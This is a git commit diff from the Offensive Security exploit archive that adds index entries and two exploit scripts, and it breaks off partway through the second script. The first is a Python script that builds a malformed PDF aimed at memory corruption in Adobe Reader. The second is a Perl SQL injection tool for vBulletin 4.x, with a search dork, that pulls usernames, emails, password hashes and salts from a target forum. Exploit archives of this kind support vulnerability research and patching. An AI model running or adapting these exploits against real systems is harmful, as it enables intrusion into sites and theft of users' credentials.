Updated 09_05_2014
This commit is contained in:
Offensive Security
parent
dd650d9bb9
commit
c587ffef9c
6 changed files with 381 additions and 0 deletions
|
|
@ -31094,3 +31094,8 @@ id,file,description,date,author,platform,type,port
|
|||
34522,platforms/linux/dos/34522.txt,"Oracle MySQL Prior to 5.1.49 'DDL' Statements Denial Of Service Vulnerability",2010-07-09,"Elena Stepanova",linux,dos,0
|
||||
34523,platforms/multiple/remote/34523.txt,"Nagios XI 'users.php' SQL Injection Vulnerability",2010-08-24,"Adam Baldwin",multiple,remote,0
|
||||
34524,platforms/php/webapps/34524.txt,"Wordpress Huge-IT Image Gallery 1.0.1 Authenticated SQL Injection",2014-09-02,"Claudio Viviani",php,webapps,80
|
||||
34526,platforms/php/webapps/34526.pl,"vBulletin 4.0.x - 4.1.2 (search.php, cat param) - SQL Injection Exploit",2014-09-03,D35m0nd142,php,webapps,80
|
||||
34527,platforms/windows/webapps/34527.c,"Acunetix Web Vulnerability Scanner DLL Loading Arbitrary Code Execution Vulnerability",2010-08-25,Kolor,windows,webapps,0
|
||||
34528,platforms/multiple/dos/34528.py,"Adobe Acrobat and Reader <= 9.3.4 'AcroForm.api' Memory Corruption Vulnerability",2010-08-25,ITSecTeam,multiple,dos,0
|
||||
34530,platforms/windows/dos/34530.py,"Crystal Player v1.98 '.mls' File Buffer Overflow Vulnerability",2010-08-20,"Praveen Darshanam",windows,dos,0
|
||||
34531,platforms/php/webapps/34531.txt,"BlastChat Client 3.3 Cross Site Scripting Vulnerability",2010-08-25,"Aung Khant",php,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
69
platforms/multiple/dos/34528.py
Executable file
69
platforms/multiple/dos/34528.py
Executable file
|
|
@ -0,0 +1,69 @@
|
|||
source: http://www.securityfocus.com/bid/42701/info
|
||||
|
||||
Adobe Acrobat and Reader are prone to a remote memory-corruption vulnerability.
|
||||
|
||||
Attackers can exploit this issue to execute arbitrary code or cause denial-of-service conditions.
|
||||
|
||||
#!user/bin/python
|
||||
|
||||
_doc_ = '''
|
||||
-------------------------------------------------------------------------
|
||||
title : Adobe Acrobat Reader memory coroption
|
||||
Product: Adobe Acrobat Reader
|
||||
Version: 7.x, 8.x, 9.x
|
||||
Tested : 8.1 - 9.3.3
|
||||
Product Homepage: www.adobe.com
|
||||
Tested Os : Windows XP SP1/SP3 EN
|
||||
Windows Seven
|
||||
AUTHOR : ITSecTeam
|
||||
Email : Bug@ITSecTeam.com
|
||||
Website : http://www.itsecteam.com
|
||||
Forum : http://forum.ITSecTeam.com
|
||||
By : Erfan Omidfar (black.hat) - Hoshang jafari (PLATEN)
|
||||
--------------------------------------------------------------------------
|
||||
'''
|
||||
import sys
|
||||
|
||||
|
||||
def main():
|
||||
buffer = "\x25\x50\x44\x46\x2d\x31\x2e\x37\x0d\x0a\x35\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x20\x2f\x54\x79\x70\x65\x20\x2f\x50\x61\x67\x65\x20\x2f\x50\x61\x72\x65\x6e\x74\x20\x31\x20\x30\x20\x52\x20\x2f\x4c\x61\x73\x74\x4d\x6f\x64\x69\x66\x69\x65\x64\x20\x28\x44\x3a\x32\x30\x31\x30\x30\x38\x31\x32\x31\x31\x34\x35\x31\x31\x20\x30\x34\x27\x33\x30\x27\x29\x20\x2f\x52\x65\x73\x6f\x75\x72\x63\x65\x73\x20\x32\x20\x30\x20\x52\x20\x2f\x4d\x65\x64\x69\x61\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x43\x72\x6f\x70\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x42\x6c\x65\x65\x64\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x54\x72\x69\x6d\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x41\x72\x74\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x43\x6f\x6e\x74\x65\x6e\x74\x73\x20\x36\x20\x30\x20\x52\x20\x2f\x52\x6f\x74\x61\x74\x65\x20\x30\x20\x2f\x47\x72\x6f\x75\x70\x20\x3c\x3c\x20\x2f\x54\x79\x70\x65\x20\x2f\x47\x72\x6f\x75\x70\x20\x2f\x53\x20\x2f\x54\x72\x61\x6e\x73\x70\x61\x72\x65\x6e\x63\x79\x20\x2f\x43\x53\x20\x2f\x44\x65\x76\x69\x63\x65\x52\x47\x42\x20\x3e\x3e\x20\x2f\x41\x6e\x6e\x6f\x74\x73\x20\x5b\x20\x33\x20\x30\x20\x52\x20\x34\x20\x30\x20\x52\x20\x5d\x20\x2f\x50\x5a\x20\x31\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a\x0d\x0a\x36\x20\x30\x20\x6f\x62\x6a"
|
||||
|
||||
buffer += "\n<</Filter /FlateDecode /Length 276>> stream\n"
|
||||
buffer += "\x78\x9C\xBD\x53\x4D\x6B\xC2\x40\x10\xBD\xEF\xAF\x78\x47\x3D\x74\xB2\xB3\x71\x35\xB9\x1A\xA3\x20\x94\x6A\xBB\x37\xF5\xD2\x46\x03\x62\xB1\x86\xC2\xD2\x7F\xDF\x49\x4A\x24\x2D\x16\x92\x50\x7A\x98\x59\x76\xE6\xBD\x99\xDD\xF9\xD0\x64\x27\xF0\xD0\x58\x8A\x1C\xB1\xD9\xC9\x91\x89\x2C\x44\x72\x35\x75\x08\xE6\x0C\x36\xA4\x35\xDC\x01\xA9\x53\xBA\x2B\xE1\x72\xCB\x58\x99\x0C\xB8\x6D\xDC\x6B\x8C\xB6\x84\x0B\xB4\x40\xF5\x37\x5D\xE4\x90\x30\xC2\x2F\x2A\x83\x90\x53\x57\x5A\xD8\x18\xE2\x08\x51\x18\x13\x8B\x37\xC3\x66\x80\xE1\x0E\x6E\x59\xFA\xD7\x92\x28\xB2\x3F\x12\x95\xEC\xEC\x46\x86\xC7\x05\x6A\xB8\x69\x07\x2F\xDF\x5A\x43\x95\x89\x28\xB4\xF2\x0E\x4B\x23\xC6\x2B\xEC\x78\x4C\x71\x58\xDF\x4F\x78\xEA\x18\x5C\xA9\x75\x9F\x76\x05\x0F\x09\x44\x0C\xA6\xB3\xA4\x47\xDD\xB9\xCA\xDE\xD4\xBF\xD5\xDD\x50\x14\x0A"
|
||||
buffer += "\x84\xED\x57\xCD\x57\x67\xBF\x2F\xF6\x19\x9E\x3F\xE0\x92\xD5\x6C\x8E\xED\xC0\x7B\x4F\xEF\x2F\x6F\xD9\x81\xCE\x45\xBE\x1D\x36\x9A\x92\xDE\x27\xBD\xBE\xA7\xFE\x68\x80\xFF\x7B\x28\x2A\xF8\x75\x24\xAA\x5B\x8F\x81\xE8\xB2\x15\x56\x8F\x88\x63\xDC\x31\xD3\xA4\xDE\x0A\x0A"
|
||||
buffer += "\x46\x00\x6E\x74\xA1\x4F\x03\x3E\x01\x4B\xF1\xEE\x69\x0A\x0A"
|
||||
buffer += "\nendstream"
|
||||
|
||||
buffer += "\n\x31\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x20\x2f\x54\x79\x70\x65\x20\x2f\x50\x61\x67\x65\x73\x20\x2f\x4b\x69\x64\x73\x20\x5b\x20\x35\x20\x30\x20\x52\x20\x5d\x20\x2f\x43\x6f\x75\x6e\x74\x20\x31\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a"
|
||||
|
||||
buffer += "\n7 0 obj\n"
|
||||
buffer += "\x3C\x3C\x20\x2F\x54\x79\x70\x65\x20\x2F\x4F\x43\x47\x20\x2F\x4E\x61\x6D\x65\x20\x28\xFE\xFF\x00\x70\x00\x72\x00\x69\x00\x6E\x00\x74\x29\x20\x2F\x55\x73\x61\x67\x65\x20\x3C\x3C\20\x2F\x50\x72\x69\x6E\x74\x20\x3C\x3C\x2F\x50\x72\x69\x6E\x74\x53\x74\x61\x74\x65\x20\x2F\x4F\x4E\x3E\x3E\x20\x2F\x56\x69\x65\x77\x20\x3C\x3C\x2F\x56\x69\x65\x77\x53\x74\x61\x74\x65\x20\x2F\x4F\x46\x46\x3E\x3E\x20\x3E\x3E\x20\x3E\x3E\x0A"
|
||||
buffer += "\nendobj"
|
||||
buffer += "\n8 0 obj\n"
|
||||
buffer += "\x3C\x3C\x20\x2F\x54\x79\x70\x65\x20\x2F\x4F\x43\x47\x20\x2F\x4E\x61\x6D\x65\x20\x28\xFE\xFF\x00\x76\x00\x69\x00\x65\x00\x77\x29\x20\x2F\x55\x73\x61\x67\x65\x20\x3C\x3C\x20\x2F\x50\x72\x69\x6E\x74\x20\x3C\x3C\x2F\x50\x72\x69\x6E\x74\x53\x74\x61\x74\x65\x20\x2F\x4F\x46\x46\x3E\x3E\x20\x2F\x56\x69\x65\x77\x20\x3C\x3C\x2F\x56\x69\x65\x77\x53\x74\x61\x74\x65\x20\x2F\x4F\x4E\x3E\x3E\x20\x3E\x3E\x20\x3E\x3E\x0A"
|
||||
buffer += "\nendobj"
|
||||
|
||||
buffer += "\n\x39\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x2f\x54\x79\x70\x65\x20\x2f\x46\x6f\x6e\x74\x20\x2f\x53\x75\x62\x74\x79\x70\x65\x20\x2f\x54\x79\x70\x65\x31\x20\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x20\x2f\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x20\x2f\x4e\x61\x6d\x65\x20\x2f\x46\x31\x20\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x2f\x57\x69\x6e\x41\x6e\x73\x69\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a\x0d\x0a\x31\x30\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x2f\x54\x79\x70\x65\x20\x2f\x46\x6f\x6e\x74\x20\x2f\x53\x75\x62\x74\x79\x70\x65\x20\x2f\x54\x79\x70\x65\x31\x20\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x20\x2f\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x2d\x42\x6f\x6c\x64\x20\x2f\x4e\x61\x6d\x65\x20\x2f\x46\x32\x20\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x2f\x57\x69\x6e\x41\x6e\x73\x69\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a\x0d\x0a\x31\x31\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x2f\x54\x79\x70\x65\x20\x2f\x46\x6f\x6e\x74\x20\x2f\x53\x75\x62\x74\x79\x70\x65\x20\x2f\x54\x79\x70\x65\x31\x20\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x20\x2f\x5a\x61\x70\x66\x44\x69\x6e\x67\x62\x61\x74\x73\x20\x2f\x4e\x61\x6d\x65\x20\x2f\x46\x33\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a\x0d\x0a\x32\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x20\x2f\x50\x72\x6f\x63\x53\x65\x74\x20\x5b\x2f\x50\x44\x46\x20\x2f\x54\x65\x78\x74\x20\x2f\x49\x6d\x61\x67\x65\x42\x20\x2f\x49\x6d\x61\x67\x65\x43\x20\x2f\x49\x6d\x61\x67\x65\x49\x5d\x20\x2f\x46\x6f\x6e\x74\x20\x3c\x3c\x20\x2f\x46\x31\x20\x39\x20\x30\x20\x52\x20\x2f\x46\x32\x20\x31\x30\x20\x30\x20\x52\x20\x2f\x46\x33\x20\x31\x31\x20\x30\x20\x52\x20\x3e\x3e\x20\x2f\x58\x4f\x62\x6a\x65\x63\x74\x20\x3c\x3c\x20\x3e\x3e\x20\x2f\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73\x20\x3c\x3c\x2f\x4f\x43\x31\x20\x37\x20\x30\x20\x52\x20\x2f\x4f\x43\x32\x20\x38\x20\x30\x20\x52\x3e\x3e\x20\x2f\x45\x78\x74\x47\x53\x74\x61\x74\x65\x20\x3c\x3c\x20\x3e\x3e\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a"
|
||||
buffer += "\n3 0 obj\n"
|
||||
buffer += "\x3C\x3C\x2F\x54\x79\x70\x65\x20\x2F\x41\x6E\x6E\x6F\x74\x20\x2F\x53\x75\x62\x74\x79\x70\x65\x20\x2F\x57\x69\x64\x67\x65\x74\x20\x2F\x52\x65\x63\x74\x20\x5B\x30\x2E\x30\x30\x20\x38\x33\x39\x2E\x30\x36\x20\x30\x2E\x30\x30\x20\x38\x33\x39\x2E\x30\x36\x5D\x20\x2F\x46\x54\x20\x2F\x42\x74\x6E\x20\x2F\x43\x6F\x6E\x74\x65\x6E\x74\x73\x20\x28\xFE\xFF\x00\x31\x29\x20\x2F\x50\x20\x35\x20\x30\x20\x52\x20\x2F\x4E\x4D\x20\x28\x30\x30\x30\x31\x2D\x30\x30\x30\x30\x29\x20\x2F\x4D\x20\x28\x44\x3A\x32\x30\x31\x30\x30\x38\x31\x32\x31\x31\x34\x35\x31\x31\x2B\x30\x34\x27\x33\x30\x27\x29\x20\x2F\x41\x53\x20\x2F\x59\x65\x73\x20\x2F\x42\x6F\x72\x64\x65\x72\x20\x5B\x30\x20\x30\x20\x30\x5D\x20\x2F\x56\x20\x2F\x30\x20\x2F\x4F\x70\x74\x20\x5B\x20\x28\xFE\xFF\x29\x5D\x3E\x3E\x0A"
|
||||
buffer += "\nendobj"
|
||||
buffer += "\n4 0 obj\n"
|
||||
buffer += "\x3C\x3C\x2F\x54\x79\x70\x65\x20\x2F\x41\x6E\x6E\x6F\x74\x20\x2F\x53\x75\x62\x74\x79\x70\x65\x20\x2F\x4C\x69\x6E\x6B\x20\x2F\x52\x65\x63\x74\x20\x5B\x32\x2E\x38\x33\x20\x30\x2E\x38\x34\x20\x31\x39\x2E\x30\x30\x20\x31\x2E\x38\x34\x5D\x20\x2F\x43\x6F\x6E\x74\x65\x6E\x74\x73\x20\x28\xFE\xFF\x00\x68\x00\x74\x00\x74\x00\x70\x00\x3A\x00\x2F\x00\x2F\x00\x77\x00\x77\x00\x77\x00\x2E\x00\x74\x00\x63\x00\x70\x00\x64\x00\x66\x00\x2E\x00\x6F\x00\x72\x00\x67\x29\x20\x2F\x50\x20\x35\x20\x30\x20\x52\x20\x2F\x4E\x4D\x20\x28\x30\x30\x30\x31\x2D\x30\x30\x30\x31\x29\x20\x2F\x4D\x20\x28\x44\x3A\x32\x30\x31\x30\x30\x38\x31\x32\x31\x31\x34\x35\x31\x31\x2B\x30\x34\x27\x33\x30\x27\x29\x20\x2F\x42\x6F\x72\x64\x65\x72\x20\x5B\x30\x20\x30\x20\x30\x5D\x20\x2F\x41\x20\x3C\x3C\x2F\x53\x20\x2F\x55\x52\x49\x20\x2F\x55\x52\x49\x20\x28\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x74\x63\x70\x64\x66\x2E\x6F\x72\x67\x29\x3E\x3E\x20\x2F\x48\x20\x2F\x49\x3E\x3E\x0A"
|
||||
buffer += "\nendobj"
|
||||
buffer += "\n12 0 obj\n"
|
||||
buffer += "\x3C\x3C\x20\x2F\x50\x72\x6F\x64\x75\x63\x65\x72\x20\x28\xFE\xFF\x00\x54\x00\x43\x00\x50\x00\x44\x00\x46\x00\x20\x00\x35\x00\x2E\x00\x37\x00\x2E\x00\x30\x00\x30\x00\x32\x00\x20\x00\x5C\x28\x00\x68\x00\x74\x00\x74\x00\x70\x00\x3A\x00\x2F\x00\x2F\x00\x77\x00\x77\x00\x77\x00\x2E\x00\x74\x00\x63\x00\x70\x00\x64\x00\x66\x00\x2E\x00\x6F\x00\x72\x00\x67\x00\x5C\x29\x00\x20\x00\x5C\x28\x00\x54\x00\x43\x00\x50\x00\x44\x00\x46\x00\x5C\x29\x29\x20\x2F\x43\x72\x65\x61\x74\x69\x6F\x6E\x44\x61\x74\x65\x20\x28\x44\x3A\x32\x30\x31\x30\x30\x38\x31\x32\x31\x31\x34\x35\x31\x31\x2B\x30\x34\x27\x33\x30\x27\x29\x20\x2F\x4D\x6F\x64\x44\x61\x74\x65\x20\x28\x44\x3A\x32\x30\x31\x30\x30\x38\x31\x32\x31\x31\x34\x35\x31\x31\x2B\x30\x34\x27\x33\x30\x27\x29\x20\x2F\x54\x72\x61\x70\x70\x65\x64\x20\x2F\x46\x61\x6C\x73\x65\x20\x3E\x3E\x0A"
|
||||
buffer += "\nendobj"
|
||||
buffer += "\n\x31\x33\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x20\x2f\x54\x79\x70\x65\x20\x2f\x43\x61\x74\x61\x6c\x6f\x67\x20\x2f\x50\x61\x67\x65\x73\x20\x31\x20\x30\x20\x52\x20\x2f\x4f\x70\x65\x6e\x41\x63\x74\x69\x6f\x6e\x20\x5b\x33\x20\x30\x20\x52\x20\x2f\x46\x69\x74\x48\x20\x6e\x75\x6c\x6c\x5d\x20\x2f\x50\x61\x67\x65\x4c\x61\x79\x6f\x75\x74\x20\x2f\x53\x69\x6e\x67\x6c\x65\x50\x61\x67\x65\x20\x2f\x50\x61\x67\x65\x4d\x6f\x64\x65\x20\x2f\x55\x73\x65\x4e\x6f\x6e\x65\x20\x2f\x4e\x61\x6d\x65\x73\x20\x3c\x3c\x20\x3e\x3e\x20\x2f\x56\x69\x65\x77\x65\x72\x50\x72\x65\x66\x65\x72\x65\x6e\x63\x65\x73\x20\x3c\x3c\x20\x2f\x44\x69\x72\x65\x63\x74\x69\x6f\x6e\x20\x2f\x4c\x32\x52\x20\x3e\x3e\x20\x2f\x4f\x43\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73\x20\x3c\x3c\x20\x2f\x4f\x43\x47\x73\x20\x5b\x37\x20\x30\x20\x52\x20\x38\x20\x30\x20\x52\x5d\x20\x2f\x44\x20\x3c\x3c\x20\x2f\x4f\x4e\x20\x5b\x37\x20\x30\x20\x52\x5d\x20\x2f\x4f\x46\x46\x20\x5b\x38\x20\x30\x20\x52\x5d\x20\x2f\x41\x53\x20\x5b\x3c\x3c\x20\x2f\x45\x76\x65\x6e\x74\x20\x2f\x50\x72\x69\x6e\x74\x20\x2f\x4f\x43\x47\x73\x20\x5b\x37\x20\x30\x20\x52\x20\x38\x20\x30\x20\x52\x5d\x20\x2f\x43\x61\x74\x65\x67\x6f\x72\x79\x20\x5b\x2f\x50\x72\x69\x6e\x74\x5d\x20\x3e\x3e\x20\x3c\x3c\x20\x2f\x45\x76\x65\x6e\x74\x20\x2f\x56\x69\x65\x77\x20\x2f\x4f\x43\x47\x73\x20\x5b\x37\x20\x30\x20\x52\x20\x38\x20\x30\x20\x52\x5d\x20\x2f\x43\x61\x74\x65\x67\x6f\x72\x79\x20\x5b\x2f\x56\x69\x65\x77\x5d\x20\x3e\x3e\x5d\x20\x3e\x3e\x20\x3e\x3e\x20\x2f\x41\x63\x72\x6f\x46\x6f\x72\x6d\x20\x3c\x3c\x20\x2f\x46\x69\x65\x6c\x64\x73\x20\x5b\x20\x33\x20\x30\x20\x52\x5d\x20\x2f\x4e\x65\x65\x64\x41\x70\x70\x65\x61\x72\x61\x6e\x63\x65\x73\x20\x74\x72\x75\x65\x20\x2f\x44\x52\x20\x3c\x3c\x20\x2f\x46\x6f\x6e\x74\x20\x3c\x3c\x20\x2f\x46\x33\x20\x31\x31\x20\x30\x20\x52\x20\x2f\x46\x31\x20\x39\x20\x30\x20\x52\x20\x3e\x3e\x20\x3e\x3e\x20\x2f\x44\x41\x20\x28\x2f\x46\x31\x20\x30\x20\x54\x66\x20\x30\x20\x67\x29\x20\x2f\x51\x20\x30\x20\x3e\x3e\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a\x0d\x0a\x78\x72\x65\x66\x0d\x0a\x30\x20\x31\x34\x0d\x0a\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x20\x36\x35\x35\x33\x35\x20\x66\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x30\x37\x34\x39\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x33\x34\x35\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x35\x32\x36\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x37\x33\x31\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x30\x30\x30\x39\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x30\x34\x30\x33\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x30\x38\x30\x38\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x30\x39\x32\x37\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x30\x34\x34\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x31\x35\x30\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x32\x36\x32\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x39\x38\x31\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x32\x32\x30\x31\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x74\x72\x61\x69\x6c\x65\x72\x20\x3c\x3c\x20\x2f\x53\x69\x7a\x65\x20\x31\x34\x20\x2f\x52\x6f\x6f\x74\x20\x31\x33\x20\x30\x20\x52\x20\x2f\x49\x6e\x66\x6f\x20\x31\x32\x20\x30\x20\x52\x20\x2f\x49\x44\x20\x5b\x20\x3c\x64\x64\x39\x39\x65\x39\x39\x36\x30\x64\x64\x37\x66\x64\x63\x33\x37\x34\x34\x30\x65\x38\x36\x63\x62\x39\x36\x30\x30\x65\x38\x32\x3e\x20\x3c\x64\x64\x39\x39\x65\x39\x39\x36\x30\x64\x64\x37\x66\x64\x63\x33\x37\x34\x34\x30\x65\x38\x36\x63\x62\x39\x36\x30\x30\x65\x38\x32\x3e\x20\x5d\x20\x3e\x3e\x0d\x0a\x73\x74\x61\x72\x74\x78\x72\x65\x66\x0d\x0a\x32\x36\x39\x37\x0d\x0a\x25\x25\x45\x4f\x46"
|
||||
try:
|
||||
print "[+] Creating POC file.."
|
||||
exploit = open('boom.pdf','w');
|
||||
exploit.write(buffer);
|
||||
exploit.close();
|
||||
print "[+] POC file created!"
|
||||
except:
|
||||
print "[-] Error: try again"
|
||||
sys.exit(0)
|
||||
|
||||
if __name__=="__main__":
|
||||
print _doc_
|
||||
main()
|
||||
246
platforms/php/webapps/34526.pl
Executable file
246
platforms/php/webapps/34526.pl
Executable file
|
|
@ -0,0 +1,246 @@
|
|||
# vBulletin 4.0.x => 4.1.2 AUTOMATIC SQL Injection exploit
|
||||
# Author: D35m0nd142, <d35m0nd142@gmail.com>
|
||||
# Google Dork: inurl:search.php?search_type=1
|
||||
# Date: 02/09/2014
|
||||
# Vendor Homepage: http://www.vbulletin.com/
|
||||
# Tested on: vBulletin 4.1.2
|
||||
# Usage: perl exploit.pl <http://target> <valid username> <valid passwd> <existent group> <userid to hack>
|
||||
# Tutorial video: https://www.youtube.com/watch?v=_jec3nkoYFc
|
||||
# IMPORTANT: At the first execution of the exploit I suggest you to login and logout to the forum (with a browser), then running it in order to allow the exploit to retrieve the correct security token to use. If you run more than one time the exploit, it may not get the security token because of the previous session's cookies and so you may have some problems retrieving the correct information. THE SOLUTION IS to copy the correct security token previously found (usually at the first run) and paste it into the source code where I wrote 'HERE'.
|
||||
# Vulnerability discovered by: D4rkB1t (http://www.exploit-db.com/exploits/17314/)
|
||||
|
||||
#!/usr/bin/env perl
|
||||
use LWP::UserAgent;
|
||||
use HTTP::Cookies;
|
||||
|
||||
$ua = LWP::UserAgent->new();
|
||||
$ua->agent("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0");
|
||||
$ua->cookie_jar({});
|
||||
$username = "username) from user where userid=$ARGV[4]#";
|
||||
$email = "email) from user where userid=$ARGV[4]#";
|
||||
$password = "password) from user where userid=$ARGV[4]#";
|
||||
$salt = "salt) from user where userid=$ARGV[4]#";
|
||||
@tofinds = ('database())#'); push(@tofinds,$username); push(@tofinds,$email); push(@tofinds,$password); push(@tofinds,$salt);
|
||||
|
||||
sub request
|
||||
{
|
||||
my $token = dumping("vbloginout.txt","token");
|
||||
|
||||
if($token eq '')
|
||||
{
|
||||
print "SECURITYTOKEN not found (Make sure to log out from any other previous logged sessions before running the exploit).\n";
|
||||
#print "Attempting using 1409594055-f2133dfe1f26a36f6349eb3a946ac38c94a182e6 as token.\n";
|
||||
$token = "1409750140-51ac26286027a4bc2b2ac38a7483081c2a4b2a3e"; # HERE
|
||||
print "Attempting using $token as token.\n";
|
||||
}
|
||||
else
|
||||
{
|
||||
print "SECURITYTOKEN FOUND: $token\n";
|
||||
}
|
||||
|
||||
print "Sending exploit...\n\n";
|
||||
sleep(1);
|
||||
my $req = HTTP::Request->new(POST => $ARGV[0].'/search.php?search_type=1');
|
||||
$req->content_type('application/x-www-form-urlencoded');
|
||||
|
||||
foreach $tofind (@tofinds)
|
||||
{
|
||||
$post = "query=$ARGV[3]&titleonly=0&dosearch=Search+Now&memberless=0&memberlimit=&discussionless=0&discussionlimit=&messageless=0&messagelimit=&pictureless=0&picturelimit=&sortby=dateline&order=descending&group_filter_date_lteq_month=0&group_filter_date_lteq_day=1&group_filter_date_lteq_year=&group_filter_date_gteq_month=0&group_filter_date_gteq_day=1&group_filter_date_gteq_year=&saveprefs=1&s=&securitytoken=$token&dofilter=1&do=process&searchfromtype=vBForum%3ASocialGroup&contenttypeid=7&cat[0]=1) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
|
||||
$req->content($post);
|
||||
my $res = $ua->request($req);
|
||||
#print $res->headers()->as_string; print "\n\n";
|
||||
open(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
|
||||
my $location = dumping("vbloc.txt","loc");
|
||||
|
||||
if($location !~ /$ARGV[0]/)
|
||||
{
|
||||
banner();
|
||||
break;
|
||||
}
|
||||
#print "Location: $location\n";
|
||||
my $req1 = HTTP::Request->new(GET => $location);
|
||||
$req1->content_type('application/x-www-form-urlencoded');
|
||||
my $res1 = $ua->request($req1);
|
||||
#print $res1->content; print "\n";
|
||||
open(FILE,"> vbout.txt");
|
||||
print FILE $res1->content;
|
||||
close(FILE);
|
||||
printout($tofind);
|
||||
dumping("vbout.txt","sql");
|
||||
print "\n";
|
||||
}
|
||||
print "\n";
|
||||
print "Do you want to run the second exploitation way? (y/n) -> ";
|
||||
$want = <STDIN>;
|
||||
if($want =~ /y/)
|
||||
{
|
||||
second_request($token);
|
||||
}
|
||||
}
|
||||
|
||||
sub second_request
|
||||
{
|
||||
my ($token) = @_ ;
|
||||
print "Attempting using the second exploitation way..\n\n";
|
||||
sleep(2);
|
||||
my $req = HTTP::Request->new(POST => $ARGV[0].'/search.php');
|
||||
$req->content_type('application/x-www-form-urlencoded');
|
||||
|
||||
foreach $tofind (@tofinds)
|
||||
{
|
||||
$post = "type%5B%5D=7&query=$ARGV[3]&titleonly=0&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=$token&do=process&searchthreadid=&cat[0]=1) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
|
||||
$req->content($post);
|
||||
my $res = $ua->request($req);
|
||||
#print $res->headers()->as_string; print "\n\n";
|
||||
open(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
|
||||
my $location = dumping("vbloc.txt","loc");
|
||||
|
||||
if($location !~ /$ARGV[0]/)
|
||||
{
|
||||
banner();
|
||||
exit(1);
|
||||
}
|
||||
#print "Location: $location\n";
|
||||
my $req1 = HTTP::Request->new(GET => $location);
|
||||
$req1->content_type('application/x-www-form-urlencoded');
|
||||
my $res1 = $ua->request($req1);
|
||||
#print $res1->content; print "\n";
|
||||
open(FILE,"> vbout.txt");
|
||||
print FILE $res1->content;
|
||||
close(FILE);
|
||||
printout($tofind);
|
||||
dumping("vbout.txt","sql");
|
||||
print "\n";
|
||||
}
|
||||
print "\n";
|
||||
}
|
||||
|
||||
sub banner
|
||||
{
|
||||
print "[-] Exploit not successful!\n";
|
||||
if(token eq "1409563107-55b86c8f60ad36a41dedff21b06bdc8c9d949303")
|
||||
{
|
||||
